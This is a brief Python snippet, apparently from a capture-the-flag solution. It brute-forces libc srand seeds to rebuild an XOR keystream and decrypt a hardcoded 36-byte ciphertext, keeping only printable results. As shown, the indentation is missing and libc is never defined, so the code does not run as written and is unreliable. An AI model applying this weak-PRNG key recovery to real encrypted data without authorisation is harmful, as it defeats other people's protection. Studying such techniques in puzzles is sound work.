cipher = bytes.fromhex("1fc9ed29a6fe44ee8245e9d87f4210e0bb4bd0054c7690cb489c7aa9f033552564883df7")
for seed in range(20):
libc.srand(seed)
key = bytes((libc.rand() & 0xff for _ in range(36)))
plain = bytes(cipher[i] ^ key[i] for i in range(36))
if all(32 <= b <= 126 for b in plain): # 可打印字符检查
print(f"Seed {seed}: {plain.decode()}")